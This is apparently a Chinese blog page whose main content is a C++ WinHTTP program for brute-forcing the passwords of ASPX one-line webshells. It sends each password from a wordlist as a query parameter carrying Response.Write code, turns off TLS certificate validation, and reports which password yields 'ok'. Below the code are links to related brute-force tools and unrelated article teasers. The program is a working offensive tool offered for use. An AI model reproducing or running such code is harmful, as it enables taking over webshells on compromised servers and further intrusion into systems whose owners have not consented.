1. #include "stdafx.h"
  2. #include <stdio.h>
  3. #include <Windows.h>
  4. #include <stdlib.h>
  5. #include <string.h>
  6. #include <string>
  7. #include <winhttp.h>
  8. #pragma comment(lib,"winhttp.lib")
  9.  
  10. void banner() //显示banner
  11. {
  12. printf("[-]:Webshell Aspx crack T00ls\r\n[-]:Welcome www.90sec.org\r\n");
  13. }
  14.  
  15. int _tmain(int argc, _TCHAR * argv [])
  16. {
  17. DWORD dwsize = 0;
  18. LPSTR pszOutBuffer;
  19. LPBYTE lpHeader, lpData;
  20. LPCWSTR Host = argv[1];
  21. LPCWSTR Url = argv[2];
  22. char buf[MAX_PATH] = {0}; //fgets接收字符串
  23. FILE* fp;
  24. int i = 0;
  25.  
  26. if (argc < 4) //如果入口长度小于4
  27. {
  28. banner();
  29. printf("[-]:%S Host Domain_Url Password_List\r\n",argv[0]);
  30. return 0;
  31. }
  32.  
  33. if ((fp = _wfopen(argv[3],L"rb")) == NULL) //打开文件,如果不存在
  34. {
  35. printf("File not found\r\n"); //打印错误
  36. return 0;
  37. }
  38. while ((fgets(buf,MAX_PATH,fp))) //这儿注意,fgets读取文件,默认一行尾端会增加一个回车,我就是在这儿卡了一晚上
  39. {
  40. buf[strlen(buf) - 2] = '\0'; //倒数第二个字符,也就是回车,替换
  41.  
  42. HINTERNET Hinternet = WinHttpOpen(L"HttpClient 1.0", //定义访问sessions
  43. WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
  44. WINHTTP_NO_PROXY_NAME,
  45. WINHTTP_NO_PROXY_BYPASS,0);
  46. if (Hinternet == NULL) //如果定义访问的sessions为空
  47. {
  48. printf("Failed to Initialize http sessions\r\n");
  49. return 0;
  50. }
  51.  
  52. HINTERNET Hconnect = WinHttpConnect(Hinternet, //初始化连接
  53. Host, //定义地址
  54. INTERNET_DEFAULT_HTTPS_PORT,//默认端口443
  55. 0);
  56.  
  57. if (Hconnect == NULL) //如果为空,就close winhttp句柄
  58. {
  59. printf("Hconnect error\r\n");
  60. WinHttpCloseHandle(Hinternet);
  61. return 0;
  62. }
  63.  
  64. WCHAR* res = new WCHAR[MAX_PATH + 1]; //释放内存,准备写入数据
  65. wsprintf(res,L"%s?%S=Response.Write(\"ok\");Response.End()",Url,buf); //写入字符串到释放内存的变量里
  66. HINTERNET Hrequest = WinHttpOpenRequest(Hconnect, //准备传输,定义好格式
  67. L"GET",
  68. res,
  69. L"HTTP /1.1",
  70. WINHTTP_NO_REFERER,
  71. WINHTTP_DEFAULT_ACCEPT_TYPES,
  72. WINHTTP_FLAG_SECURE|WINHTTP_FLAG_REFRESH);
  73.  
  74. if (Hrequest == NULL)
  75. {
  76. WinHttpCloseHandle(Hinternet);
  77. WinHttpCloseHandle(Hconnect);
  78. return 0;
  79. }
  80.  
  81. DWORD dwFlags;
  82. DWORD dwBuffLen = sizeof(dwFlags);
  83. WinHttpQueryOption (Hrequest, WINHTTP_OPTION_SECURITY_FLAGS, //设置查询选项
  84. (LPVOID)&dwFlags, &dwBuffLen);
  85. dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA;
  86. dwFlags |= SECURITY_FLAG_IGNORE_CERT_DATE_INVALID;
  87. dwFlags |= SECURITY_FLAG_IGNORE_CERT_CN_INVALID;
  88. dwFlags |= SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
  89.  
  90. WinHttpSetOption (Hrequest, WINHTTP_OPTION_SECURITY_FLAGS, //设置选项
  91. &dwFlags, sizeof (dwFlags) );
  92.  
  93. if (WinHttpSendRequest(Hrequest, //发送数据
  94. WINHTTP_NO_ADDITIONAL_HEADERS,0,
  95. WINHTTP_NO_REQUEST_DATA,0,0,0) == FALSE)
  96. {
  97. DWORD err = GetLastError();
  98. WinHttpCloseHandle(Hrequest);
  99. WinHttpCloseHandle(Hconnect);
  100. WinHttpCloseHandle(Hinternet);
  101. return 0;
  102. }
  103.  
  104. if (WinHttpReceiveResponse(Hrequest,NULL) == FALSE) //开始读取相应
  105. {
  106. DWORD err = GetLastError();
  107. WinHttpCloseHandle(Hrequest);
  108. WinHttpCloseHandle(Hconnect);
  109. WinHttpCloseHandle(Hinternet);
  110. return 0;
  111. }
  112.  
  113. DWORD dwSize = 0;
  114. if (!WinHttpQueryDataAvailable( Hrequest, &dwSize)) //检查是否还有数据接受
  115. printf( "Error %u in WinHttpQueryDataAvailable.\n",
  116. GetLastError());
  117.  
  118. WinHttpQueryHeaders(Hrequest, //查看http响应头
  119. WINHTTP_QUERY_RAW_HEADERS_CRLF,
  120. WINHTTP_HEADER_NAME_BY_INDEX,NULL,
  121. &dwsize,WINHTTP_NO_HEADER_INDEX);
  122. lpHeader = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, dwsize);
  123.  
  124. WinHttpQueryHeaders(Hrequest,
  125. WINHTTP_QUERY_RAW_HEADERS_CRLF,
  126. WINHTTP_HEADER_NAME_BY_INDEX,
  127. lpHeader, &dwsize,
  128. WINHTTP_NO_HEADER_INDEX);
  129. HeapFree(GetProcessHeap(), 0, lpHeader);
  130. DWORD dwDownloaded = 0;
  131. pszOutBuffer = new char[dwSize+1];
  132. if (!pszOutBuffer)
  133. {
  134. printf("Out of memory\n");
  135. }
  136.  
  137. ZeroMemory(pszOutBuffer, dwSize+1);
  138. if (!WinHttpReadData( Hrequest, (LPVOID)pszOutBuffer,
  139. dwSize, &dwDownloaded))
  140. {
  141. printf( "Error %u in WinHttpReadData.\n", GetLastError());
  142. }
  143. if (strstr(pszOutBuffer,"ok"))
  144. {
  145. printf("Line:%d-->Find password Success:%s\n",++i,buf);
  146. return 0;
  147. }else
  148. {
  149. printf("Line:%d-->password Not found:%s\n",++i,buf);
  150. }
  151. }
  152. delete[] pszOutBuffer;
  153. //delete[] res;
  154. return 0;
  155. }

ASPX一句话爆破工具的更多相关文章

  1. [原创]K8一句话密码爆破工具{秒破10万} 支持ASP/PHP/ASPX/JSP/CFM/DIY

    工具: K8_FuckOneShell 20161224编译: VS2012  C# (.NET Framework v4.0)组织: K8搞基大队[K8team]作者: K8拉登哥哥博客: http ...

  2. 一句话爆破速度提升一千倍python脚本

    这个脚本是接地提供的思路,一句话爆破速度提升一千倍,看了他的帖子然而没有看到工具,思路很牛逼,我提供一个Python脚本本地测试了下,十万密码只需要3秒,速度还是可以的 # coding:utf-8 ...

  3. python 写的http后台弱口令爆破工具

    今天来弄一个后台破解的Python小程序,哈哈,直接上代码吧,都有注释~~ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 ...

  4. Python开发爆破工具

    上一篇讲到了如何用Python开发字典,而当我们手里有了字典 就可以进一步去做爆破的任务了,可以用现成的工具,当然也可以自己写 接下来我就要一步一步来写爆破工具! 爆破MySQL: 想要爆破MySQL ...

  5. 基于nmap扫描结果的端口爆破工具:BrutesPray

      大家搞内网或者C段渗透测试的时候可能遇到很多时候需要对大批的主机进行精确爆破,这时候BruteSpray就派上用场了. BruteSpray是一款基于nmap扫描输出的gnmap/XML文件.自动 ...

  6. 子域名收集之DNS字典爆破工具fierce与dnsdict6的使用

    子域名收集之DNS字典爆破工具fierce与dnsdict6的使用 一.fierce 0.介绍 该工具是一个域名扫描综合性工具.它可以快速获取指定域名的DNS服务器,并检查是否存在区域传输(Zone ...

  7. SQL Server密码爆破工具SQLdict

    SQL Server密码爆破工具SQLdict SQL Server是Windows系统常用的数据库服务器.它广泛采用用户名和密码方式,进行身份认证.Kali Linux提供一款专用的数据库密码爆破工 ...

  8. 网站模糊测试爆破工具Wfuzz

    网站模糊测试爆破工具Wfuzz   模糊测试爆破使用模糊测试的方式对HTTP请求中的各个参数同时进行猜测爆破.例如,渗透测试人员可以采用不同的HTTP请求方式来访问由字典生成的网页路径,以判断网页目录 ...

  9. Oracle SID爆破工具SidGuess

    Oracle SID爆破工具SidGuess   在Oracle中,SID是System IDentifier的缩写.SID是一个数据库的唯一标识符.当用户希望远程连接Oracle数据库时,则需要知道 ...

随机推荐

  1. java笔记十:java中的反射

    Java中,反射是一种强大的工具.它使您能够创建灵活的代码,这些代码可以在运行时装配,无需在组件之间进行源代表链接.反射允许我们在编写与执行时,使我们的程序代码能够接入装载到JVM中的类的内部信息,而 ...

  2. servlet;jsp;cookies;session

  3. 1060 最复杂的数(反素数玄学dfs)

    1060 最复杂的数 题目来源: Ural 1748 基准时间限制:1 秒 空间限制:131072 KB 分值: 40 难度:4级算法题 把一个数的约数个数定义为该数的复杂程度,给出一个n,求1-n中 ...

  4. Balala Power!(大数+思维)

    Balala Power! Time Limit: 4000/2000 MS (Java/Others)    Memory Limit: 131072/131072 K (Java/Others)T ...

  5. RocketMq的安装使用

    RocketMq的安装使用 .一.预备环境 1.系统 Windows 2. 环境 JDK1.8.Maven.Git 1.下载 1.1地址:http://rocketmq.apache.org/rele ...

  6. ehcarts之toolbox,工具栏

    toolbox 工具栏.内置有导出图片,数据视图,动态类型切换,数据区域缩放,重置五个工具. feature各工具配置项.具体显示功能 1.saveAsImage 保存为图片. 2.restore 还 ...

  7. Xenserver中SR、VBD和VDI之间的关系

    首先需要理解xenserver下的SR,VDI,VBD这三个概念.如下图 存储库 (SR) 虚拟磁盘映像 (VDI) 物理块设备 (PBD) 虚拟块设备 (VBD) 看上图所示,他们之间的关系. SR ...

  8. 密码硬编码(Password Management: Hardcoded Password)

    在对项目进行安全扫描时,发现一些密码硬编码问题,本文主要三个方面:1)什么是密码硬编码:2)密码硬编码的危害:3)密码硬编码的解决方案. 一 什么是密码硬编码 将密码以明文的形式直接写到代码中,就是密 ...

  9. 如何使用 Opencv dnn 模块调用 Caffe 预训练模型?

    QString modelPrototxt = "D:\\Qt\\qmake\\CaffeModelTest\\caffe\\lenet.prototxt"; QString mo ...

  10. 解决Vue的表格中,expand只有某些行需要展开的问题。

    element UI里的表格里,type="expand"的话,所有行都有展开的选项,然而实际中有些行根据判断不需要展开,而element目前对这个问题还不是很友好,现在有个可以通 ...